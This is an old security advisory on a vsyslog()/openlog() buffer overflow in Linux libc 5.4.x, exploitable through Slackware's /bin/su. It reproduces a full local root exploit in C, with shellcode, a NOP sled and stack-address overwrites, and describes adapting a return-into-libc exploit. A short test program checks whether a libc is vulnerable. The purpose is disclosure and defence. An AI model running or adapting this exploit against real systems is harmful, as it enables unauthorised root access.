COMMAND

    vsyslog() overflow

SYSTEMS AFFECTED

    Linux with libc 5.4.23 and RH 5.3.12-18

PROBLEM

    Solar Designer  posted following.   This vulnerability  is already
    fixed in libc 5.4.38, but doesn't  seem to be widely known, and  a
    lot  of  people  are  still  running  vulnerable versions of libc.
    Thanks  to  Jon  Lewis  for  recovering  the  exploit erased by an
    intruder.   The  buffer  overflow  is  in  vsyslog(), by the ident
    string previously set with openlog().  It is exploitable via  some
    versions  of  /bin/su  (for  example,  the version that comes with
    Slackware 3.1), and possibly some other privileged processes  that
    use user-supplied data in ident  for openlog() -- could even  be a
    daemon setting the ident to something like "daemon: username". The
    behavior of Slackware's /bin/su is quite stupid:

        sunny:/tmp$ ln -s /bin/su kernel
        sunny:/tmp$ export PATH=.:$PATH
        sunny:/tmp$ kernel
        Password:
        sunny:/tmp# tail -1 /var/log/messages
        Dec 20 23:32:33 sunny kernel: root on /dev/ttyp1

    No real security hole here, but  this shows it was a stupid  thing
    to use argv[0] for openlog().

    Here goes the original  exploit, the author changed  the shellcode
    to run _bin_sh since /bin/su uses basename(argv[0]) as ident,  and
    using '/'  in the  shellcode is  not possible.   You have  to link
    _bin_sh to /bin/sh and make sure you have "." in your path  before
    running the exploit.

    /*
     vsyslog()/openlog() exploit by BiT - 8/8 1997
     Greets to: doodle, skaut, melon, kweiheri etc.
     */

    #include <stdlib.h>
    #include <unistd.h>

    unsigned long get_esp(void)
    {
      __asm__("movl %esp, %eax");
    }

    void main(int argc, char **argv)
    {
      unsigned char shell[] =
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
      "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
      "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
      char *buf,*p;
      unsigned long *adr;
      int i;
      if((p=buf=malloc(2028+28)) == NULL)
        exit(-1);
      memset(p,0x90,2028);
      p+=2028-strlen(shell);
      for(i=0;i<strlen(shell);i++)
        *p++=shell[i];
      adr=(long *)p;
      for(i=0;i<7;i++)
        *adr++=get_esp();
      p=(char *)adr;
      *p=0;
      execl("/bin/su",buf,NULL);
    }

    You  can  also  take  Solar  Designer's  generic  return-into-libc
    exploit (the lpr example),  set SIZE=2100, ALIGNMENT=12, edit  the
    execl()  --  and  it  works  just  fine,  without  a  problem with
    shellcode since there's none.

SOLUTION

    This was verified that is exploitable in libc 5.4.23 and  RedHat's
    5.3.12-18 that comes with RH 4.2, but is fixed in 5.4.38. It can't
    be exploited via /bin/su on  standard RedHat setup though.   Since
    you should  fix the  vulnerability regardless  if it's exploitable
    via your  version of  /bin/su or  not, here's  a tiny  program for
    checking if  your libc  is vulnerable.  If this  segfaults, you're
    vulnerable.


    #include <syslog.h>

    int main()
    {
            char ident[4096];

            memset(ident, 'x', sizeof(ident));
            ident[sizeof(ident) - 1] = 0;

            openlog(ident, 0, LOG_AUTHPRIV);
            syslog(LOG_NOTICE, "message");

            return 0;
    }

    There's a  new version  of Solar  Designer's non-executable  stack
    patch available at:

        http://www.false.com/security/linux-stack/

    The Linux 2.0.33 version got improved trampoline support (an extra
    kernel configuration option) for running with glibc (RedHat  5.0).
    su has  been fixed  in Slackware  3.4.   Under Slackware 3.4, libc
    5.4.33, code for testing will cause following message to be logged
    to syslog:

        <BUFFER OVERUN ATTEMPT>: message